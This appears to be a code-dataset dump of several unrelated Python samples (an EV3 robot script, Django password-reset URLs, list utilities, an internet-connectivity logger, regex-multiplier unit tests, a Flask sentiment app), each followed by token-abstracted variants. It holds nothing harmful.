find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\n<function token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,982
f6ebc3c37a69e5ec49d91609db394eec4a94cedf
#!/usr/bin/env pybricks-micropython from pybricks import ev3brick as brick from pybricks.ev3devices import (Motor, TouchSensor, ColorSensor, InfraredSensor, UltrasonicSensor, GyroSensor) from pybricks.parameters import (Port, Stop, Direction, Button, Color, SoundFile, ImageFile, Align) from pybricks.tools import print, wait, StopWatch from pybricks.robotics import DriveBase # Write your program here motor_a = Motor(Port.A) brick.sound.beep() wait(1000) motor_a.run_target(500, 720) #500 degrees per second, 90 target angle wait(1000) brick.sound.beep(1000, 500) #frequency, duration
[ "#!/usr/bin/env pybricks-micropython\n\nfrom pybricks import ev3brick as brick\nfrom pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,\n InfraredSensor, UltrasonicSensor, GyroSensor)\nfrom pybricks.parameters import (Port, Stop, Direction, Button, Color,\n SoundFile, ImageFile, Align)\nfrom pybricks.tools import print, wait, StopWatch\nfrom pybricks.robotics import DriveBase\n\n# Write your program here\nmotor_a = Motor(Port.A)\n\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720) #500 degrees per second, 90 target angle\nwait(1000)\nbrick.sound.beep(1000, 500) #frequency, duration\n\n\n\n", "from pybricks import ev3brick as brick\nfrom pybricks.ev3devices import Motor, TouchSensor, ColorSensor, InfraredSensor, UltrasonicSensor, GyroSensor\nfrom pybricks.parameters import Port, Stop, Direction, Button, Color, SoundFile, ImageFile, Align\nfrom pybricks.tools import print, wait, StopWatch\nfrom pybricks.robotics import DriveBase\nmotor_a = Motor(Port.A)\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720)\nwait(1000)\nbrick.sound.beep(1000, 500)\n", "<import token>\nmotor_a = Motor(Port.A)\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720)\nwait(1000)\nbrick.sound.beep(1000, 500)\n", "<import token>\n<assignment token>\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720)\nwait(1000)\nbrick.sound.beep(1000, 500)\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
9,983
7e35c35c8ef443155c45bdbff4ce9ad07b99f144
from django.urls import path from . import views from django.contrib.auth import views as auth_views urlpatterns = [ path('',views.index,name='index'), path('sign',views.sign,name='sign'), # path('password_reset/',auth_views.PasswordResetView.as_view(),name='password_reset'), # path('password_reset/done/',auth_views.PasswordResetDoneView.as_view(),name='password_reset_done'), # path('reset/<uidb64>/<token>/',auth_views.PasswordResetConfirmView.as_view(),name='password_reset_confirm'), # path('reset/done/',auth_views.PasswordResetCompleteView.as_view(),name='password_reset_complete'), # path( # 'change-password', # auth_views.PasswordChangeView.as_view( # template_name='common/change-password.html', # success_url='/' # ), # name='change-password' # ), path('reset_password/', auth_views.PasswordResetView.as_view(template_name="password_reset.html"), name="password_reset" ), path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(template_name="password_reset_sent.html"), name='password_reset_done'), path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.as_view(template_name="password_reset_form.html"), name='password_reset_confirm'), path('reset_password_complete/', auth_views.PasswordResetCompleteView.as_view(template_name="password_reset_done.html"), name='password_reset_complete'), ]
[ "from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views \n\nurlpatterns = [\n path('',views.index,name='index'),\n path('sign',views.sign,name='sign'),\n # path('password_reset/',auth_views.PasswordResetView.as_view(),name='password_reset'),\n # path('password_reset/done/',auth_views.PasswordResetDoneView.as_view(),name='password_reset_done'),\n # path('reset/<uidb64>/<token>/',auth_views.PasswordResetConfirmView.as_view(),name='password_reset_confirm'),\n # path('reset/done/',auth_views.PasswordResetCompleteView.as_view(),name='password_reset_complete'),\n\n # path(\n # 'change-password',\n # auth_views.PasswordChangeView.as_view(\n # template_name='common/change-password.html',\n # success_url='/'\n # ),\n # name='change-password'\n # ),\n\n path('reset_password/',\n auth_views.PasswordResetView.as_view(template_name=\"password_reset.html\"),\n name=\"password_reset\" ),\n \n path('reset_password_sent/',\n auth_views.PasswordResetDoneView.as_view(template_name=\"password_reset_sent.html\"),\n name='password_reset_done'),\n\n path('reset/<uidb64>/<token>/',\n auth_views.PasswordResetConfirmView.as_view(template_name=\"password_reset_form.html\"),\n name='password_reset_confirm'),\n \n path('reset_password_complete/',\n auth_views.PasswordResetCompleteView.as_view(template_name=\"password_reset_done.html\"),\n name='password_reset_complete'),\n\n\n \n\n]", "from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\nurlpatterns = [path('', views.index, name='index'), path('sign', views.sign,\n name='sign'), path('reset_password/', auth_views.PasswordResetView.\n as_view(template_name='password_reset.html'), name='password_reset'),\n path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(\n template_name='password_reset_sent.html'), name='password_reset_done'),\n path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.\n as_view(template_name='password_reset_form.html'), name=\n 'password_reset_confirm'), path('reset_password_complete/', auth_views.\n PasswordResetCompleteView.as_view(template_name=\n 'password_reset_done.html'), name='password_reset_complete')]\n", "<import token>\nurlpatterns = [path('', views.index, name='index'), path('sign', views.sign,\n name='sign'), path('reset_password/', auth_views.PasswordResetView.\n as_view(template_name='password_reset.html'), name='password_reset'),\n path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(\n template_name='password_reset_sent.html'), name='password_reset_done'),\n path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.\n as_view(template_name='password_reset_form.html'), name=\n 'password_reset_confirm'), path('reset_password_complete/', auth_views.\n PasswordResetCompleteView.as_view(template_name=\n 'password_reset_done.html'), name='password_reset_complete')]\n", "<import token>\n<assignment token>\n" ]
false
9,984
119ebdf4c686c52e052d3926f962cefdc93681cd
def my_filter(L, num): return [x for x in L if x % num] print 'my_filter', my_filter([1, 2, 4, 5, 7], 2) def my_lists(L): return [range(1, x+1) for x in L] print 'my_lists', my_lists([1, 2, 4]) print 'my_lists', my_lists([0]) def my_function_composition(f, g): return {f_key: g[f_val] for f_key, f_val in f.items()} print 'my_function_composition', my_function_composition({0:'a', 1:'b'}, {'a':'apple', 'b':'banana'}) def mySum(L): current = 0 for x in L: current = current + x return current def myProduct(L): current = 1.0 for x in L: current = current * x return current def myMin(L): current = 0 for x in L: current = x if x < current else current return current def myConcat(L): current = '' for x in L: current = current + x return current def myUnion(L): current = set() for x in L: current = current.union(x) return current print 'myUnion', myUnion([set([1, 2, 3]), set(['F', 'G', 'H']), set([3, 7, 9])])
[ "def my_filter(L, num):\n\treturn [x for x in L if x % num]\n\nprint 'my_filter', my_filter([1, 2, 4, 5, 7], 2)\n\n\ndef my_lists(L):\n\treturn [range(1, x+1) for x in L]\n\nprint 'my_lists', my_lists([1, 2, 4])\nprint 'my_lists', my_lists([0])\n\n\ndef my_function_composition(f, g):\n\treturn {f_key: g[f_val] for f_key, f_val in f.items()}\n\nprint 'my_function_composition', my_function_composition({0:'a', 1:'b'}, {'a':'apple', 'b':'banana'})\n\n\ndef mySum(L):\n\tcurrent = 0\n\tfor x in L:\n\t\tcurrent = current + x\n\treturn current\n\ndef myProduct(L):\n\tcurrent = 1.0\n\tfor x in L:\n\t\tcurrent = current * x\n\treturn current\n\ndef myMin(L):\n\tcurrent = 0\n\tfor x in L:\n\t\tcurrent = x if x < current else current\n\treturn current\n\ndef myConcat(L):\n\tcurrent = ''\n\tfor x in L:\n\t\tcurrent = current + x\n\treturn current\n\ndef myUnion(L):\n\tcurrent = set()\n\tfor x in L:\n\t\tcurrent = current.union(x)\n\treturn current\n\nprint 'myUnion', myUnion([set([1, 2, 3]), set(['F', 'G', 'H']), set([3, 7, 9])])\n" ]
true
9,985
f229f525c610d9925c9300ef22208f9926d6cb69
#!python3 import requests import time log_file = open("logfile.txt", "w") def generateLog(ctime1, request_obj): log_file.write(ctime1 + "\t") log_file.write("Status code: " + str(request_obj.status_code)) log_file.write("\n") def is_internet(): """Internet function""" print(time.ctime()) current_time = time.ctime() try: r = requests.get("https://www.google.com/") # sends requests to google.com if r.status_code == 200: # if ok, prints msg print("Connection established successfully!") else: # if not ok, prints msg print("Error, try again") # generateLog("logfile", current _time, r) except ConnectionError: # if this error is enountered, it will print this message print(f"No internet connection, time: {time.ctime()}") finally: print("Generating log file...") # time.sleep(0.25) generateLog(current_time, r) # calls the generateLog function print("Exiting the program...") t = 0 while t < 30: try: is_internet() # time.sleep(10) except KeyboardInterrupt: print("Keyboard Interrupt error ") break finally: t += 1 log_file.close() input()
[ "#!python3\r\nimport requests\r\nimport time\r\n\r\nlog_file = open(\"logfile.txt\", \"w\")\r\n\r\n\r\ndef generateLog(ctime1, request_obj):\r\n log_file.write(ctime1 + \"\\t\")\r\n log_file.write(\"Status code: \" + str(request_obj.status_code))\r\n log_file.write(\"\\n\")\r\n\r\n\r\ndef is_internet():\r\n \"\"\"Internet function\"\"\"\r\n print(time.ctime())\r\n current_time = time.ctime()\r\n try:\r\n r = requests.get(\"https://www.google.com/\") # sends requests to google.com\r\n if r.status_code == 200: # if ok, prints msg\r\n print(\"Connection established successfully!\")\r\n else: # if not ok, prints msg\r\n print(\"Error, try again\")\r\n # generateLog(\"logfile\", current _time, r)\r\n except ConnectionError: # if this error is enountered, it will print this message\r\n print(f\"No internet connection, time: {time.ctime()}\")\r\n finally:\r\n print(\"Generating log file...\")\r\n # time.sleep(0.25)\r\n generateLog(current_time, r) # calls the generateLog function\r\n print(\"Exiting the program...\")\r\n\r\n\r\nt = 0\r\nwhile t < 30:\r\n try:\r\n is_internet()\r\n # time.sleep(10)\r\n except KeyboardInterrupt:\r\n print(\"Keyboard Interrupt error \")\r\n break\r\n finally:\r\n t += 1\r\nlog_file.close()\r\ninput()\r\n", "import requests\nimport time\nlog_file = open('logfile.txt', 'w')\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\nt = 0\nwhile t < 30:\n try:\n is_internet()\n except KeyboardInterrupt:\n print('Keyboard Interrupt error ')\n break\n finally:\n t += 1\nlog_file.close()\ninput()\n", "<import token>\nlog_file = open('logfile.txt', 'w')\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\nt = 0\nwhile t < 30:\n try:\n is_internet()\n except KeyboardInterrupt:\n print('Keyboard Interrupt error ')\n break\n finally:\n t += 1\nlog_file.close()\ninput()\n", "<import token>\n<assignment token>\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\n<assignment token>\nwhile t < 30:\n try:\n is_internet()\n except KeyboardInterrupt:\n print('Keyboard Interrupt error ')\n break\n finally:\n t += 1\nlog_file.close()\ninput()\n", "<import token>\n<assignment token>\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n" ]
false
9,986
5a7e535f2ae585f862cc792dab77f2fe0584fddc
import unittest from pattern.multiplier import Multiplier, FixedWidth, Range from pattern.multiplier import WHATEVER, ONE_OR_MORE class TestMultipler(unittest.TestCase): def test__create__fixed_width(self): self.assertIsInstance(Multiplier.create(23), FixedWidth) def test__create__range(self): self.assertIsInstance(Multiplier.create((23, 27)), Range) def test__create__multiplier(self): self.assertEqual(Multiplier.create(WHATEVER), WHATEVER) self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE) def test__create__bad_argument(self): self.assertRaises(ValueError, Multiplier.create, '1234') class TestWhatever(unittest.TestCase): def test_compile(self): self.assertEqual(WHATEVER.compile(), '*') class TestOneOrMore(unittest.TestCase): def test_compile(self): self.assertEqual(ONE_OR_MORE.compile(), '+') class TestFixedWidth(unittest.TestCase): def test_compile(self): self.assertEqual(FixedWidth(23).compile(), '{23}') class TestRange(unittest.TestCase): def test_compile(self): self.assertEqual(Range((23, 27)).compile(), '{23,27}')
[ "import unittest\nfrom pattern.multiplier import Multiplier, FixedWidth, Range\nfrom pattern.multiplier import WHATEVER, ONE_OR_MORE\n\n\nclass TestMultipler(unittest.TestCase):\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n\n def test__create__bad_argument(self):\n self.assertRaises(ValueError, Multiplier.create, '1234')\n\n\nclass TestWhatever(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n\n", "import unittest\nfrom pattern.multiplier import Multiplier, FixedWidth, Range\nfrom pattern.multiplier import WHATEVER, ONE_OR_MORE\n\n\nclass TestMultipler(unittest.TestCase):\n\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n\n def test__create__bad_argument(self):\n self.assertRaises(ValueError, Multiplier.create, '1234')\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n\n def test__create__bad_argument(self):\n self.assertRaises(ValueError, Multiplier.create, '1234')\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n <function token>\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n <function token>\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n <function token>\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n\n\nclass TestWhatever(unittest.TestCase):\n <function token>\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n<class token>\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n<class token>\n\n\nclass TestOneOrMore(unittest.TestCase):\n <function token>\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestFixedWidth(unittest.TestCase):\n <function token>\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestRange(unittest.TestCase):\n <function token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n" ]
false
9,987
4f06eddfac38574a0ae3bdd0ea2ac81291380166
from .simulator import SpatialSIRSimulator as Simulator from .util import Prior from .util import PriorExperiment from .util import Truth from .util import log_likelihood
[ "from .simulator import SpatialSIRSimulator as Simulator\nfrom .util import Prior\nfrom .util import PriorExperiment\nfrom .util import Truth\nfrom .util import log_likelihood\n", "<import token>\n" ]
false
9,988
2d7f7cb66480ecb8335949687854554679026959
import spacy from vaderSentiment import vaderSentiment from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def hello(): return render_template('index.html') @app.route('/',methods=['POST']) def func(): st=request.form["review"] if(st==''): return render_template('index.html') english = spacy.load("en_core_web_sm") result = english(st) sentences = [str(s) for s in result.sents] analyzer = vaderSentiment.SentimentIntensityAnalyzer() sentiment = [analyzer.polarity_scores(str(s)) for s in sentences] if(sentiment[0]['compound'] >= 0.05) : sent="Positive " emoji=128512 address=' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg' elif(sentiment[0]['compound'] <= - 0.05) : sent="Negative " emoji=128577 address='https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg ' else : sent="Neutral " emoji=128528 address='https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg ' return render_template('output.html', sentence=st, sent=sent, emoji=emoji, address=address) @app.route('/fu.html') def result(): return render_template('fu.html') @app.route('/new.html') def new(): return render_template('new.html') if __name__ == '__main__': app.run(debug=True)
[ "import spacy\nfrom vaderSentiment import vaderSentiment\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n \[email protected]('/',methods=['POST'])\ndef func():\n st=request.form[\"review\"]\n if(st==''):\n return render_template('index.html')\n english = spacy.load(\"en_core_web_sm\")\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n \n \n if(sentiment[0]['compound'] >= 0.05) : \n sent=\"Positive \" \n emoji=128512\n address=' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n \n elif(sentiment[0]['compound'] <= - 0.05) : \n sent=\"Negative \"\n emoji=128577\n address='https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n \n else :\n sent=\"Neutral \"\n emoji=128528\n address='https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n \n \n return render_template('output.html', sentence=st, sent=sent, emoji=emoji, address=address)\n \n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "import spacy\nfrom vaderSentiment import vaderSentiment\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\napp = Flask(__name__)\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' 